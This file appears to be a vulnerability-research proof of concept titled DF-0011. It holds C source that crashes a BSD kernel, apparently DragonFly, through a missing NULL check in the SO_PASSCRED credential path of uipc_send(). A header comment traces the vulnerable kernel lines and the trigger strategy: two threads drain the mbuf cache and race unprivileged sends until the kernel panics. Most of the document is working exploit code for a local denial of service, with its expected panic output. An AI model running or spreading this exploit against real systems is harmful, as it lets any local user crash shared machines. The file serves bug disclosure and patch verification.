DF-0011 / nopasscred_panic.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * DF-0011 PoC - missing NULL check on sbcreatecontrol() in the SO_PASSCRED * synthesis path of uipc_send() -> kernel NULL-deref panic (local DoS). * * VERIFIED PATH (sys/kern/uipc_usrreq.c): * 680 if (so2->so_options & SO_PASSCRED) { * 683 struct cmsgcred cred; (uninit - see DF-0010) * 694 if (ncon == NULL) { * 695 ncon = sbcreatecontrol(&cred, sizeof(cred), SCM_CREDS, * 696 SOL_SOCKET); (may return NULL) * 697 unp_internalize(ncon, msg->send.nm_td); (UNCHECKED) * 698 *mp = ncon; * 699 } * * sbcreatecontrol() (uipc_sockbuf.c:585-604) returns NULL when its * m_getl(...,M_NOWAIT,MT_CONTROL,0,NULL) fails. MT_CONTROL mbufs come from * the PLAIN "mbuf" objcache (uipc_mbuf.c:798, nmbufs ~ 72904 here). * * unp_internalize(NULL) at uipc_usrreq.c:1706 does * cm = mtod(control, struct cmsghdr *) == load of m_data from a NULL mbuf * where offsetof(struct m_hdr, mh_data) == 0x10 (mh_next[8] + mh_nextpkt[8] * then mh_data, sys/sys/mbuf.h:79-90). => page fault at vaddr 0x10 in kernel * mode => panic, e.g. * Stopped at unp_internalize.isra.12+0x11: movq 0x10(%rdi),%rbx * (fault virtual address = 0x10, %rdi == 0 == NULL control) * * TRIGGER STRATEGY (concurrent ramp + fire): * Each AF_UNIX SOCK_DGRAM datagram pinned in a receiver buffer accounts for * 2 plain mbufs (1 MT_CONTROL control + 1 MT_SONAME source sockaddr from * ssb_appendaddr) and 1 pkthdr mbuf (the MT_DATA payload). Pinned ratio is * therefore 2 plain : 1 pkthdr. Exhausting the ~72904-deep plain cache pins * only ~36500 pkthdr, leaving the pkthdr cache ~half full. * * The pinner thread ramps the pinned count up; the trigger thread fires * no-control SO_PASSCRED sends continuously. While plain mbufs remain, the * trigger sends succeed (sbcreatecontrol allocates fine). At the instant the * plain cache is exhausted (but the pkthdr cache still has room), the next * trigger send's data pkthdr mbuf allocates (M_WAITOK in sosend) and * execution proceeds into uipc_send's SO_PASSCRED block, where * sbcreatecontrol() -> m_get(M_NOWAIT, MT_CONTROL) FAILS -> NULL -> * unp_internalize(NULL) -> panic at vaddr 0x10. Running both concurrently * catches that brief crossover window deterministically, instead of letting * the pinner overshoot into a full memory-pressure wedge before firing. * * Build: cc -o nopasscred_panic nopasscred_panic.c -lpthread * Run as UNPRIVILEGED user: ./nopasscred_panic * * Expected (bug present): kernel panic captured on the serial console: * Warning: objcache(mbuf) exhausted on cpuN! * Fatal trap 12: page fault while in kernel mode * fault virtual address = 0x10 * Stopped at unp_internalize.isra.12+0x11: movq 0x10(%rdi),%rbx * On a patched kernel (NULL check after sbcreatecontrol) the trigger send * returns ENOBUFS instead and the program prints "no panic (patched)". */ #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define MAXBUF (512 * 1024) /* == kern.ipc.maxsockbuf */ #define MAXPAIRS 8192 /* shared trigger socketpair (receiver has SO_PASSCRED) */ static int g_trig[2]; static volatile int g_stop = 0; static void * trigger_thread(void *arg) { char rb[16]; long fired = 0, enobufs = 0; while (!g_stop) { /* no control msg -> kernel synthesizes SCM_CREDS via the * vulnerable sbcreatecontrol() path. Blocking send so the * data pkthdr mbuf is allocated M_WAITOK (succeeds while the * pkthdr cache has room) and execution reaches uipc_send. */ ssize_t r = send(g_trig[1], "x", 1, 0); if (r == 1) { fired++; recv(g_trig[0], rb, sizeof(rb), MSG_DONTWAIT); } else if (errno == ENOBUFS || errno == EAGAIN || errno == EWOULDBLOCK) { enobufs++; } } fprintf(stderr, "[trigger] fired=%ld enobufs=%ld (no panic this " "instant; plain cache not exhausted at a trigger send)\n", fired, enobufs); return NULL; } int main(void) { char cmsgbuf[CMSG_SPACE(sizeof(struct cmsgcred))]; struct cmsghdr *cm; struct iovec iov; struct msghdr mh; int i, on = 1, npairs = 0; long total = 0; pthread_t ttid; cm = (struct cmsghdr *)cmsgbuf; cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_CREDS; /* AF_UNIX-valid; pins MT_CONTROL */ cm->cmsg_len = CMSG_LEN(0); memset(&mh, 0, sizeof(mh)); iov.iov_base = (char *)"x"; iov.iov_len = 1; mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = cmsgbuf; mh.msg_controllen = CMSG_LEN(0); /* set up the SO_PASSCRED trigger pair */ if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, g_trig) != 0) { perror("socketpair trig"); return 1; } setsockopt(g_trig[0], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)); /* start firing triggers concurrently with the ramp */ pthread_create(&ttid, NULL, trigger_thread, NULL); fprintf(stderr, "[*] concurrent ramp+fire: pinning plain mbufs while " "trigger thread sends...\n"); static int held[MAXPAIRS][2]; for (npairs = 0; npairs < MAXPAIRS && !g_stop; npairs++) { int s[2]; int bs = MAXBUF; if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, s) != 0) break; setsockopt(s[0], SOL_SOCKET, SO_RCVBUF, &bs, sizeof(bs)); setsockopt(s[1], SOL_SOCKET, SO_SNDBUF, &bs, sizeof(bs)); long per = 0; for (;;) { ssize_t r = sendmsg(s[1], &mh, MSG_DONTWAIT); if (r > 0) { per++; total++; } else break; } held[npairs][0] = s[0]; held[npairs][1] = s[1]; if ((npairs % 8) == 0) fprintf(stderr, "[*] %d pairs, %ld dgrams pinned\n", npairs + 1, total); /* once a brand-new empty pair cannot accept even one datagram, * the plain cache is exhausted: stop pinning and let the * concurrent trigger fire into the exhausted cache. */ if (per == 0) { fprintf(stderr, "[*] plain cache exhausted at npairs=%d " "total=%ld; trigger thread should now panic\n", npairs + 1, total); break; } } /* keep the pinned mbufs held and let the trigger thread keep firing */ fprintf(stderr, "[*] holding %ld pinned dgrams; waiting for trigger " "to hit the NULL path (panic)...\n", total); for (i = 0; i < 60 && !g_stop; i++) sleep(1); g_stop = 1; pthread_join(ttid, NULL); fprintf(stderr, "[*] no panic observed this run (race not won; " "retry, or kernel is patched)\n"); return 2; } |